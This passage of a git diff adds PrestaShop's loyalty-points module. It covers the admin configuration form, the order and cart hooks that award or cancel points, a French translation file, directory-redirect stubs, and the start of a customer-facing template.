_postProcess() + { + if (Tools::isSubmit('submitLoyalty')) + { + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(); + + $this->_errors = array(); + if (!is_array(Tools::getValue('categoryBox')) || !count(Tools::getValue('categoryBox'))) + $this->_errors[] = $this->l('You must choose at least one category for voucher\'s action'); + if (!count($this->_errors)) + { + Configuration::updateValue('PS_LOYALTY_VOUCHER_CATEGORY', $this->voucherCategories(Tools::getValue('categoryBox'))); + Configuration::updateValue('PS_LOYALTY_POINT_VALUE', (float)(Tools::getValue('point_value'))); + Configuration::updateValue('PS_LOYALTY_POINT_RATE', (float)(Tools::getValue('point_rate'))); + Configuration::updateValue('PS_LOYALTY_NONE_AWARD', (int)(Tools::getValue('PS_LOYALTY_NONE_AWARD'))); + Configuration::updateValue('PS_LOYALTY_MINIMAL', (float)(Tools::getValue('minimal'))); + + $this->loyaltyStateValidation->id_order_state = (int)(Tools::getValue('id_order_state_validation')); + $this->loyaltyStateCancel->id_order_state = (int)(Tools::getValue('id_order_state_cancel')); + + $arrayVoucherDetails = array(); + foreach ($languages as $language) + { + $arrayVoucherDetails[(int)($language['id_lang'])] = Tools::getValue('voucher_details_'.(int)($language['id_lang'])); + $this->loyaltyStateDefault->name[(int)($language['id_lang'])] = Tools::getValue('default_loyalty_state_'.(int)($language['id_lang'])); + $this->loyaltyStateValidation->name[(int)($language['id_lang'])] = Tools::getValue('validation_loyalty_state_'.(int)($language['id_lang'])); + $this->loyaltyStateCancel->name[(int)($language['id_lang'])] = Tools::getValue('cancel_loyalty_state_'.(int)($language['id_lang'])); + $this->loyaltyStateConvert->name[(int)($language['id_lang'])] = Tools::getValue('convert_loyalty_state_'.(int)($language['id_lang'])); + $this->loyaltyStateNoneAward->name[(int)($language['id_lang'])] = Tools::getValue('none_award_loyalty_state_'.(int)($language['id_lang'])); + } + if (empty($arrayVoucherDetails[$id_lang_default])) + $arrayVoucherDetails[$id_lang_default] = ' '; + Configuration::updateValue('PS_LOYALTY_VOUCHER_DETAILS', $arrayVoucherDetails); + + if (empty($this->loyaltyStateDefault->name[$id_lang_default])) + $this->loyaltyStateDefault->name[$id_lang_default] = ' '; + $this->loyaltyStateDefault->save(); + + if (empty($this->loyaltyStateValidation->name[$id_lang_default])) + $this->loyaltyStateValidation->name[$id_lang_default] = ' '; + $this->loyaltyStateValidation->save(); + + if (empty($this->loyaltyStateCancel->name[$id_lang_default])) + $this->loyaltyStateCancel->name[$id_lang_default] = ' '; + $this->loyaltyStateCancel->save(); + + if (empty($this->loyaltyStateConvert->name[$id_lang_default])) + $this->loyaltyStateConvert->name[$id_lang_default] = ' '; + $this->loyaltyStateConvert->save(); + + if (empty($this->loyaltyStateNoneAward->name[$id_lang_default])) + $this->loyaltyStateNoneAward->name[$id_lang_default] = ' '; + $this->loyaltyStateNoneAward->save(); + + echo $this->displayConfirmation($this->l('Settings updated.')); + } + else + { + $errors = ''; + foreach ($this->_errors as $error) + $errors .= $error.'
        '; + echo $this->displayError($errors); + } +// redirect($this->context->link); + } + } + + private function voucherCategories($categories) + { + $cat = ''; + if ($categories) + foreach ($categories as $category) + $cat .= $category.','; + return rtrim($cat, ','); + } + + public function getContent() + { + $this->instanceDefaultStates(); + $this->_postProcess(); + + $order_states = OrderState::getOrderStates($this->context->language->id); + $currency = new Currency((int)(Configuration::get('PS_CURRENCY_DEFAULT'))); + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $languageIds = 'voucher_details¤default_loyalty_state¤none_award_loyalty_state¤convert_loyalty_state¤validation_loyalty_state¤cancel_loyalty_state'; + + $html = ' + +

        '.$this->l('Loyalty Program').'

        +
        +
        + '.$this->l('Settings').' + + +
        + '.$currency->sign.' + +
        + + '.$currency->sign.' + +
        +
        + +
        '; + foreach ($languages as $language) + $html .= ' +
        + +
        '; + $html .= $this->displayFlags($languages, $id_lang_default, $languageIds, 'voucher_details', true); + $html .= '
        +
        + +
        + '.$currency->sign.' +
        +
        + +
        + + + + +
        +
        + +
        + +
        +
        + +
        + +
        +
        + '; + $index = explode(',', Configuration::get('PS_LOYALTY_VOUCHER_CATEGORY')); + $indexedCategories = isset($_POST['categoryBox']) ? $_POST['categoryBox'] : $index; + + $helper = new Helper(); + $html .= '
        '.$helper->renderCategoryTree(null, $indexedCategories).'
        '; + $html .= ' +

        '.$this->l('Mark the box(es) of categories in which loyalty vouchers are usable.').'

        +
        +

        '.$this->l('Loyalty points progression').'

        + +
        '; + foreach ($languages as $language) + $html .= ' +
        + +
        '; + $html .= $this->displayFlags($languages, $id_lang_default, $languageIds, 'default_loyalty_state', true); + $html .= '
        +
        + +
        '; + foreach ($languages as $language) + $html .= ' +
        + +
        '; + $html .= $this->displayFlags($languages, $id_lang_default, $languageIds, 'none_award_loyalty_state', true); + $html .= '
        +
        + +
        '; + foreach ($languages as $language) + $html .= ' +
        + +
        '; + $html .= $this->displayFlags($languages, $id_lang_default, $languageIds, 'convert_loyalty_state', true); + $html .= '
        +
        + +
        '; + foreach ($languages as $language) + $html .= ' +
        + +
        '; + $html .= $this->displayFlags($languages, $id_lang_default, $languageIds, 'validation_loyalty_state', true); + $html .= '
        +
        + +
        '; + foreach ($languages as $language) + $html .= ' +
        + +
        '; + $html .= $this->displayFlags($languages, $id_lang_default, $languageIds, 'cancel_loyalty_state', true); + $html .= '
        +
        + +
        +
        +
        '; + + return $html; + } + + public static function recurseCategoryForInclude($id_obj, $indexedCategories, $categories, $current, $id_category = 1, $id_category_default = null, $has_suite = array()) + { + global $done; + static $irow; + $html = ''; + + if (!isset($done[$current['infos']['id_parent']])) + $done[$current['infos']['id_parent']] = 0; + $done[$current['infos']['id_parent']] += 1; + + $todo = count($categories[$current['infos']['id_parent']]); + $doneC = $done[$current['infos']['id_parent']]; + + $level = $current['infos']['level_depth'] + 1; + + $html .= ' + + + + + + '.$id_category.' + + '; + for ($i = 2; $i < $level; $i++) + $html .= ''; + $html .= '   + + '; + + if ($level > 1) + $has_suite[] = ($todo == $doneC ? 0 : 1); + if (isset($categories[$id_category])) + foreach ($categories[$id_category] as $key => $row) + if ($key != 'infos') + $html .= self::recurseCategoryForInclude($id_obj, $indexedCategories, $categories, $categories[$id_category][$key], $key, $id_category_default, $has_suite); + return $html; + } + + /* Hook display on product detail */ + public function hookExtraRight($params) + { + include_once(dirname(__FILE__).'/LoyaltyModule.php'); + + $product = new Product((int)Tools::getValue('id_product')); + if (Validate::isLoadedObject($product)) + { + if (Validate::isLoadedObject($params['cart'])) + { + $pointsBefore = (int)LoyaltyModule::getCartNbPoints($params['cart']); + $pointsAfter = (int)LoyaltyModule::getCartNbPoints($params['cart'], $product); + $points = (int)($pointsAfter - $pointsBefore); + } + else + { + if (!(int)Configuration::get('PS_LOYALTY_NONE_AWARD') && Product::isDiscounted((int)$product->id)) + { + $points = 0; + $this->smarty->assign('no_pts_discounted', 1); + } + else + $points = (int)LoyaltyModule::getNbPointsByPrice( + $product->getPrice( + Product::getTaxCalculationMethod() == PS_TAX_EXC ? false : true, + (int)$product->getDefaultIdProductAttribute() + ) + ); + + $pointsAfter = $points; + $pointsBefore = 0; + } + $this->smarty->assign(array( + 'points' => (int)$points, + 'total_points' => (int)$pointsAfter, + 'point_rate' => Configuration::get('PS_LOYALTY_POINT_RATE'), + 'point_value' => Configuration::get('PS_LOYALTY_POINT_VALUE'), + 'points_in_cart' => (int)$pointsBefore, + 'voucher' => LoyaltyModule::getVoucherValue((int)$pointsAfter), + 'none_award' => Configuration::get('PS_LOYALTY_NONE_AWARD'))); + + return $this->display(__FILE__, 'product.tpl'); + } + + return false; + } + + /* Hook display on customer account page */ + public function hookCustomerAccount($params) + { + return $this->display(__FILE__, 'my-account.tpl'); + } + + public function hookDisplayMyAccountBlock($params) + { + return $this->hookCustomerAccount($params); + } + + /* Catch product returns and substract loyalty points */ + public function hookOrderReturn($params) + { + include_once(dirname(__FILE__).'/LoyaltyStateModule.php'); + include_once(dirname(__FILE__).'/LoyaltyModule.php'); + + $total_price = 0; + $details = OrderReturn::getOrdersReturnDetail((int)$params['orderReturn']->id); + foreach ($details as $detail) + { + $total_price += Db::getInstance()->getValue(' + SELECT ROUND(total_price_tax_incl, 2) + FROM '._DB_PREFIX_.'order_detail od + WHERE id_order_detail = '.(int)$detail['id_order_detail']); + } + + $loyalty_new = new LoyaltyModule(); + $loyalty_new->points = (int)(-1 * LoyaltyModule::getNbPointsByPrice($total_price)); + $loyalty_new->id_loyalty_state = (int)LoyaltyStateModule::getCancelId(); + $loyalty_new->id_order = (int)$params['orderReturn']->id_order; + $loyalty_new->id_customer = (int)$params['orderReturn']->id_customer; + $loyalty_new->save(); + } + + /* Hook display on shopping cart summary */ + public function hookShoppingCart($params) + { + include_once(dirname(__FILE__).'/LoyaltyModule.php'); + + if (Validate::isLoadedObject($params['cart'])) + { + $points = LoyaltyModule::getCartNbPoints($params['cart']); + $this->smarty->assign(array( + 'points' => (int)$points, + 'voucher' => LoyaltyModule::getVoucherValue((int)$points), + 'guest_checkout' => (int)Configuration::get('PS_GUEST_CHECKOUT_ENABLED') + )); + } + else + $this->smarty->assign(array('points' => 0)); + + return $this->display(__FILE__, 'shopping-cart.tpl'); + } + + /* Hook called when a new order is created */ + public function hookNewOrder($params) + { + include_once(dirname(__FILE__).'/LoyaltyStateModule.php'); + include_once(dirname(__FILE__).'/LoyaltyModule.php'); + + if (!Validate::isLoadedObject($params['customer']) || !Validate::isLoadedObject($params['order'])) + die($this->l('Missing parameters')); + $loyalty = new LoyaltyModule(); + $loyalty->id_customer = (int)$params['customer']->id; + $loyalty->id_order = (int)$params['order']->id; + $loyalty->points = LoyaltyModule::getOrderNbPoints($params['order']); + if (!Configuration::get('PS_LOYALTY_NONE_AWARD') && (int)$loyalty->points == 0) + $loyalty->id_loyalty_state = LoyaltyStateModule::getNoneAwardId(); + else + $loyalty->id_loyalty_state = LoyaltyStateModule::getDefaultId(); + return $loyalty->save(); + } + + /* Hook called when an order change its status */ + public function hookUpdateOrderStatus($params) + { + include_once(dirname(__FILE__).'/LoyaltyStateModule.php'); + include_once(dirname(__FILE__).'/LoyaltyModule.php'); + + if (!Validate::isLoadedObject($params['newOrderStatus'])) + die($this->l('Missing parameters')); + $new_order = $params['newOrderStatus']; + $order = new Order((int)$params['id_order']); + if ($order && !Validate::isLoadedObject($order)) + die($this->l('Incorrect Order object.')); + $this->instanceDefaultStates(); + + if ($new_order->id == $this->loyaltyStateValidation->id_order_state || $new_order->id == $this->loyaltyStateCancel->id_order_state) + { + if (!Validate::isLoadedObject($loyalty = new LoyaltyModule(LoyaltyModule::getByOrderId($order->id)))) + return false; + if ((int)Configuration::get('PS_LOYALTY_NONE_AWARD') && $loyalty->id_loyalty_state == LoyaltyStateModule::getNoneAwardId()) + return true; + + if ($new_order->id == $this->loyaltyStateValidation->id_order_state) + { + $loyalty->id_loyalty_state = LoyaltyStateModule::getValidationId(); + if ((int)$loyalty->points < 0) + $loyalty->points = abs((int)$loyalty->points); + } + elseif ($new_order->id == $this->loyaltyStateCancel->id_order_state) + { + $loyalty->id_loyalty_state = LoyaltyStateModule::getCancelId(); + $loyalty->points = 0; + } + return $loyalty->save(); + } + return true; + } + + /* Hook display in tab AdminCustomers on BO */ + public function hookAdminCustomers($params) + { + include_once(dirname(__FILE__).'/LoyaltyModule.php'); + include_once(dirname(__FILE__).'/LoyaltyStateModule.php'); + + $customer = new Customer((int)$params['id_customer']); + if ($customer && !Validate::isLoadedObject($customer)) + die($this->l('Incorrect Customer object.')); + + $details = LoyaltyModule::getAllByIdCustomer((int)$params['id_customer'], (int)$params['cookie']->id_lang); + $points = (int)LoyaltyModule::getPointsByCustomer((int)$params['id_customer']); + + $html = ' +

        '.sprintf($this->l('Loyalty points (%d points)'), $points).'

        '; + + if (!$points) + return $html.' '.$this->l('This customer has no points'); + + $html .= ' + + + + + + + + '; + foreach ($details as $key => $loyalty) + { + $url = 'index.php?tab=AdminOrders&id_order='.$loyalty['id'].'&vieworder&token='.Tools::getAdminToken('AdminOrders'.(int)Tab::getIdFromClassName('AdminOrders').(int)$params['cookie']->id_employee); + $html .= ' + + + + + + + '; + } + $html .= ' + + + + + + +
        '.$this->l('Order').''.$this->l('Date').''.$this->l('Total (without shipping)').''.$this->l('Points').''.$this->l('Points Status').'
        '.((int)$loyalty['id'] > 0 ? ''.sprintf($this->l('#%d'), $loyalty['id']).'' : '--').''.Tools::displayDate($loyalty['date'], (int)$params['cookie']->id_lang).''.((int)$loyalty['id'] > 0 ? $loyalty['total_without_shipping'] : '--').''.(int)$loyalty['points'].''.$loyalty['state'].'
         '.$this->l('Total points available:').''.$points.''.$this->l('Voucher value:').' '.Tools::displayPrice( + LoyaltyModule::getVoucherValue((int)$points, (int)Configuration::get('PS_CURRENCY_DEFAULT')), + new Currency((int)Configuration::get('PS_CURRENCY_DEFAULT')) + ).'
        '; + + return $html; + } + + public function hookCancelProduct($params) + { + include_once(dirname(__FILE__).'/LoyaltyStateModule.php'); + include_once(dirname(__FILE__).'/LoyaltyModule.php'); + + if (!Validate::isLoadedObject($params['order']) || !Validate::isLoadedObject($order_detail = new OrderDetail((int)$params['id_order_detail'])) + || !Validate::isLoadedObject($loyalty = new LoyaltyModule((int)LoyaltyModule::getByOrderId((int)$params['order']->id)))) + return false; + + $loyalty_new = new LoyaltyModule(); + $loyalty_new->points = -1 * LoyaltyModule::getNbPointsByPrice(number_format($order_detail->total_price_tax_incl, 2, '.', '')); + $loyalty_new->id_loyalty_state = (int)LoyaltyStateModule::getCancelId(); + $loyalty_new->id_order = (int)$params['order']->id; + $loyalty_new->id_customer = (int)$loyalty->id_customer; + $loyalty_new->add(); + + return; + } + + public function getL($key) + { + $translations = array( + 'Awaiting validation' => $this->l('Awaiting validation'), + 'Available' => $this->l('Available'), + 'Cancelled' => $this->l('Cancelled'), + 'Already converted' => $this->l('Already converted'), + 'Unavailable on discounts' => $this->l('Unavailable on discounts'), + 'Not available on discounts.' => $this->l('Not available on discounts.')); + + return (array_key_exists($key, $translations)) ? $translations[$key] : $key; + } +} diff --git a/modules/loyalty/translations/fr.php b/modules/loyalty/translations/fr.php new file mode 100755 index 0000000..9681764 --- /dev/null +++ b/modules/loyalty/translations/fr.php @@ -0,0 +1,102 @@ +loyalty_30146a132c2aa28808a8411ed74c12ed'] = 'Programme de fidélité'; +$_MODULE['<{loyalty}prestashop>loyalty_f8763c754ba455aa6e8ddf0e62911eb7'] = 'Propose un programme de fidélité à vos clients'; +$_MODULE['<{loyalty}prestashop>loyalty_f0338d5a7bbd642cc188ca69c8a97b12'] = 'Cette action effacera tous les points de fidélité et l\'historique des points de tous vos clients, êtes vous sûr ?'; +$_MODULE['<{loyalty}prestashop>loyalty_7307b68f93443d5863f1d3943c546b20'] = 'Récompense fidélité'; +$_MODULE['<{loyalty}prestashop>loyalty_e81b2826b5aebd9c92fb5d090f0cdc9d'] = 'Vous devez choisir au moins une catégorie pour l\'action de bon de réduction'; +$_MODULE['<{loyalty}prestashop>loyalty_f38f5974cdc23279ffe6d203641a8bdf'] = 'Configuration mise à jour.'; +$_MODULE['<{loyalty}prestashop>loyalty_5be9427a9169ad6e9b63b0c9c61575d9'] = 'Programme de fidélité'; +$_MODULE['<{loyalty}prestashop>loyalty_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{loyalty}prestashop>loyalty_8334a158298fbcf163f4dcb4a387d150'] = 'Ratio'; +$_MODULE['<{loyalty}prestashop>loyalty_315eae70bcaee168f1654c0ceeeef357'] = '1 point de fidélité'; +$_MODULE['<{loyalty}prestashop>loyalty_e3ff7eaa9deb31e1e91178a7216135c0'] = '1 point ='; +$_MODULE['<{loyalty}prestashop>loyalty_46108358594124685e77e7d49f762b30'] = 'de réduction'; +$_MODULE['<{loyalty}prestashop>loyalty_98cf9475009d3c6e795ffac5d391cec4'] = 'Détails du bon'; +$_MODULE['<{loyalty}prestashop>loyalty_dd98e4d652530674f61201056fdbe9b4'] = 'Montant minimal pour utiliser le bon'; +$_MODULE['<{loyalty}prestashop>loyalty_51ab56dd5b46c7b5c8fdf22651ae0db6'] = 'Donner des points sur les produits en promotion'; +$_MODULE['<{loyalty}prestashop>loyalty_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{loyalty}prestashop>loyalty_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{loyalty}prestashop>loyalty_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{loyalty}prestashop>loyalty_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{loyalty}prestashop>loyalty_ade45d72ab6ba1ab576d8b9deb0c2438'] = 'Points attribués au statut suivant'; +$_MODULE['<{loyalty}prestashop>loyalty_9611a682e61c503c32e2dc58fdbc8ddf'] = 'Points annulés au statut suivant'; +$_MODULE['<{loyalty}prestashop>loyalty_2a46cccdea2f18fdfdfacf99a98b758d'] = 'Les bons de réductions crées par le système de fidélité peuvent être utilisés dans les catégories d\'articles suivantes :'; +$_MODULE['<{loyalty}prestashop>loyalty_c2a7db7dec4de1bdb143ccd790f5a62c'] = 'Cocher pour quelle(s) catégorie(s) seront utilisables les bons de réductions fidélité'; +$_MODULE['<{loyalty}prestashop>loyalty_30e793698766edbaaf84a74d4c377f72'] = 'Statuts des points de fidélité'; +$_MODULE['<{loyalty}prestashop>loyalty_4f2a91e15af2631ff9424564b8a45fb2'] = 'Initial'; +$_MODULE['<{loyalty}prestashop>loyalty_453e6aa38d87b28ccae545967c53004f'] = 'Indisponibles'; +$_MODULE['<{loyalty}prestashop>loyalty_6366c60fc5b4f4fce0e3dd146494a4f4'] = 'Convertis'; +$_MODULE['<{loyalty}prestashop>loyalty_13148717f8faa9037f37d28971dfc219'] = 'Disponibles'; +$_MODULE['<{loyalty}prestashop>loyalty_a149e85a44aeec9140e92733d9ed694e'] = 'Annulé'; +$_MODULE['<{loyalty}prestashop>loyalty_38fb7d24e0d60a048f540ecb18e13376'] = 'Sauvegarder'; +$_MODULE['<{loyalty}prestashop>loyalty_8b80d4b6307990874b832cc15a92e5a3'] = 'Des paramètres sont manquants'; +$_MODULE['<{loyalty}prestashop>loyalty_a82e0d057f443115e807bd6ca595fc8c'] = 'L\'objet commande est incorrect.'; +$_MODULE['<{loyalty}prestashop>loyalty_94c69408d25102ba7ddcf3533b56c407'] = 'L\'objet clients est incorrect.'; +$_MODULE['<{loyalty}prestashop>loyalty_94c2a3734a95577d173f702aa67a4788'] = 'Points de fidélité (%d points)'; +$_MODULE['<{loyalty}prestashop>loyalty_309cd9f5437d1bb06a7fdab1811afe1a'] = 'Ce client n\'a pas de point'; +$_MODULE['<{loyalty}prestashop>loyalty_a240fa27925a635b08dc28c9e4f9216d'] = 'Commande'; +$_MODULE['<{loyalty}prestashop>loyalty_44749712dbec183e983dcd78a7736c41'] = 'Date'; +$_MODULE['<{loyalty}prestashop>loyalty_aa7f22f84f7be784055a3e7e7d22c519'] = 'Total (hors frais de ports)'; +$_MODULE['<{loyalty}prestashop>loyalty_75dd5f1160a3f02b6fae89c54361a1b3'] = 'Points'; +$_MODULE['<{loyalty}prestashop>loyalty_1026e44f047fb9da36a62c0a8846baac'] = 'Statut des points'; +$_MODULE['<{loyalty}prestashop>loyalty_98ab04462a3ea83fe76f4163efe755da'] = '#%d'; +$_MODULE['<{loyalty}prestashop>loyalty_66c2c90ea9f6f4a12854195085781d7f'] = 'Total de points disponibles'; +$_MODULE['<{loyalty}prestashop>loyalty_928666bdf20510dfa5c58393b77f1798'] = 'Valeur du bon :'; +$_MODULE['<{loyalty}prestashop>loyalty_a9be824aae4f2381a27b7c699b1e041e'] = 'En attente de validation'; +$_MODULE['<{loyalty}prestashop>loyalty_78945de8de090e90045d299651a68a9b'] = 'Disponibles'; +$_MODULE['<{loyalty}prestashop>loyalty_4cb08bf5ad3d3c7b010dde725a078b28'] = 'Déjà convertis'; +$_MODULE['<{loyalty}prestashop>loyalty_df05c2db84dacb19b599b489bf3963db'] = 'Non disponible sur les remises'; +$_MODULE['<{loyalty}prestashop>loyalty_01371a1d58e9234c0b9dbc08cf54fa8b'] = 'Non valables sur les promotions'; +$_MODULE['<{loyalty}prestashop>loyalty_d95cf4ab2cbf1dfb63f066b50558b07d'] = 'Mon compte'; +$_MODULE['<{loyalty}prestashop>loyalty_c540093e64d84440025b2d8201f04336'] = 'Mes points de fidélité'; +$_MODULE['<{loyalty}prestashop>loyalty_01abfc750a0c942167651c40d088531d'] = 'n°'; +$_MODULE['<{loyalty}prestashop>loyalty_5acc2ceeb883ba07cef2d02ea382f242'] = 'Vous n\'avez passé aucune commande.'; +$_MODULE['<{loyalty}prestashop>loyalty_dd1f775e443ff3b9a89270713580a51b'] = 'Précédent'; +$_MODULE['<{loyalty}prestashop>loyalty_10ac3d04253ef7e1ddc73e6091c0cd55'] = 'Suivant'; +$_MODULE['<{loyalty}prestashop>loyalty_e0aa021e21dddbd6d8cecec71e9cf564'] = 'OK'; +$_MODULE['<{loyalty}prestashop>loyalty_6c583afb157e33bfb5b7c3d4114c4dd5'] = 'objets :'; +$_MODULE['<{loyalty}prestashop>loyalty_c48105520852bbd0fa692e4c9fd61628'] = 'Les bons de réductions générés ici peuvent être utilisés pour les articles des catégories suivantes :'; +$_MODULE['<{loyalty}prestashop>loyalty_b1c94ca2fbc3e78fc30069c8d0f01680'] = 'Toutes'; +$_MODULE['<{loyalty}prestashop>loyalty_5b7d558a20e8bcb6d9355a012becb1eb'] = 'Etes-vous sûrs de vouloir transformer vos points en bon de réduction ?'; +$_MODULE['<{loyalty}prestashop>loyalty_4db04271e368fe3d4e1aa7332a18fa9d'] = 'Transformer mes points en un bon de réduction de'; +$_MODULE['<{loyalty}prestashop>loyalty_b39cba8836db01a04888aef6ba386420'] = 'Mes bons de réductions obtenus'; +$_MODULE['<{loyalty}prestashop>loyalty_0eceeb45861f9585dd7a97a3e36f85c6'] = 'Créé le'; +$_MODULE['<{loyalty}prestashop>loyalty_689202409e48743b914713f96d93947c'] = 'Valeur'; +$_MODULE['<{loyalty}prestashop>loyalty_ca0dbad92a874b2f69b549293387925e'] = 'Code'; +$_MODULE['<{loyalty}prestashop>loyalty_eb902cf204f3e4dfffeb56d92a9b5c26'] = 'Valide du'; +$_MODULE['<{loyalty}prestashop>loyalty_b2844b8e17ecaaeae68d018fe9418af0'] = 'Valide jusqu\'au'; +$_MODULE['<{loyalty}prestashop>loyalty_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{loyalty}prestashop>loyalty_3ec365dd533ddb7ef3d1c111186ce872'] = 'Détails'; +$_MODULE['<{loyalty}prestashop>loyalty_29aa46cc3d2677c7e0f216910df600ff'] = 'Frais de port offerts'; +$_MODULE['<{loyalty}prestashop>loyalty_cec73b5ce095a59305ad92a0d47495cb'] = 'A utiliser'; +$_MODULE['<{loyalty}prestashop>loyalty_019d1ca7d50cc54b995f60d456435e87'] = 'Utilisé'; +$_MODULE['<{loyalty}prestashop>loyalty_2af3bf4c82c5b33875d532820a959799'] = 'Généré par les commandes suivantes'; +$_MODULE['<{loyalty}prestashop>loyalty_18fb6221fe0d9895c2e9ba08283f00e9'] = 'Commande n°%d'; +$_MODULE['<{loyalty}prestashop>loyalty_4c8d2e0395ae7d21e374dcbeb1cbeaaa'] = '%d points.'; +$_MODULE['<{loyalty}prestashop>loyalty_1f67ea7a0b26e9eacc70523bde28df0c'] = 'plus...'; +$_MODULE['<{loyalty}prestashop>loyalty_a16cf3ec5200cc519f4fe48e34b1df83'] = 'Le montant minimum de commande afin d\'utiliser ces bons est :'; +$_MODULE['<{loyalty}prestashop>loyalty_8e69341aca5dbf9f55c2e75a2ed5df3c'] = 'Aucun bon de réduction pour le moment.'; +$_MODULE['<{loyalty}prestashop>loyalty_00d56a5e37c19c59d521530fc8e7f337'] = 'Aucun point de fidélité pour le moment.'; +$_MODULE['<{loyalty}prestashop>loyalty_0b3db27bc15f682e92ff250ebb167d4b'] = 'Retour à votre compte'; +$_MODULE['<{loyalty}prestashop>loyalty_8cf04a9734132302f96da8e113e80ce5'] = 'Accueil'; +$_MODULE['<{loyalty}prestashop>my-account_c540093e64d84440025b2d8201f04336'] = 'Mes points de fidélité'; +$_MODULE['<{loyalty}prestashop>product_054a9c66cc92b7f1bfcacee3b7c7ad54'] = 'Aucun point de fidélité pour ce produit car il y a déjà une réduction.'; +$_MODULE['<{loyalty}prestashop>product_e94d481804904a48c1a8093e7a069570'] = 'Aucun point de fidélité pour ce produit.'; +$_MODULE['<{loyalty}prestashop>product_08ef6b34ab8e7039ef0ee69378f0ac0b'] = 'En achetant ce produit vous pouvez gagner jusqu\'à'; +$_MODULE['<{loyalty}prestashop>product_2996152bb442bf98c80c515c6055de5f'] = 'points de fidélité'; +$_MODULE['<{loyalty}prestashop>product_b40d5c523ee75453134b1449dd9cd13a'] = 'point de fidélité'; +$_MODULE['<{loyalty}prestashop>product_b9cb3a85529dd593c14c838e22976cff'] = 'Votre panier totalisera'; +$_MODULE['<{loyalty}prestashop>product_0aab81de5c4c87021772015efc184d67'] = 'points'; +$_MODULE['<{loyalty}prestashop>product_78ee54aa8f813885fe2fe20d232518b9'] = 'point'; +$_MODULE['<{loyalty}prestashop>product_443c3e03e194c2a4cdb107808b051615'] = 'pouvant être transformé(s) en un bon de réduction de'; +$_MODULE['<{loyalty}prestashop>shopping-cart_ea2c0ea1a08add3a75273e7f32f05f7a'] = 'fidélité'; +$_MODULE['<{loyalty}prestashop>shopping-cart_562b7108857d8394e83861d0529cc7dd'] = 'En validant votre panier, vous pouvez collecter'; +$_MODULE['<{loyalty}prestashop>shopping-cart_1340ddee36660d8e1d5f6918dee0ba4e'] = '%d points de fidélité'; +$_MODULE['<{loyalty}prestashop>shopping-cart_e7e421ccebbe3fafffe0f67dbd595d5b'] = '%d point de fidélité'; +$_MODULE['<{loyalty}prestashop>shopping-cart_443c3e03e194c2a4cdb107808b051615'] = 'pouvant être transformé(s) en un bon de réduction de'; +$_MODULE['<{loyalty}prestashop>shopping-cart_2d354f4df80bbebf309f184c3953dc1d'] = 'Offre non applicable pour les commandes passées en tant qu\'invité'; +$_MODULE['<{loyalty}prestashop>shopping-cart_8cec799df06a3f5a026b31fcd95e0172'] = 'Ajoutez des produits à votre panier pour gagner plus de points de fidélité.'; diff --git a/modules/loyalty/translations/index.php b/modules/loyalty/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/loyalty/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/loyalty/views/index.php b/modules/loyalty/views/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/loyalty/views/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/loyalty/views/templates/front/index.php b/modules/loyalty/views/templates/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/loyalty/views/templates/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/loyalty/views/templates/front/loyalty.tpl b/modules/loyalty/views/templates/front/loyalty.tpl new file mode 100755 index 0000000..f29fe00 --- /dev/null +++ b/modules/loyalty/views/templates/front/loyalty.tpl @@ -0,0 +1,207 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='My account' mod='loyalty'}{$navigationPipe}{l s='My loyalty points' mod='loyalty'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='My loyalty points' mod='loyalty'}

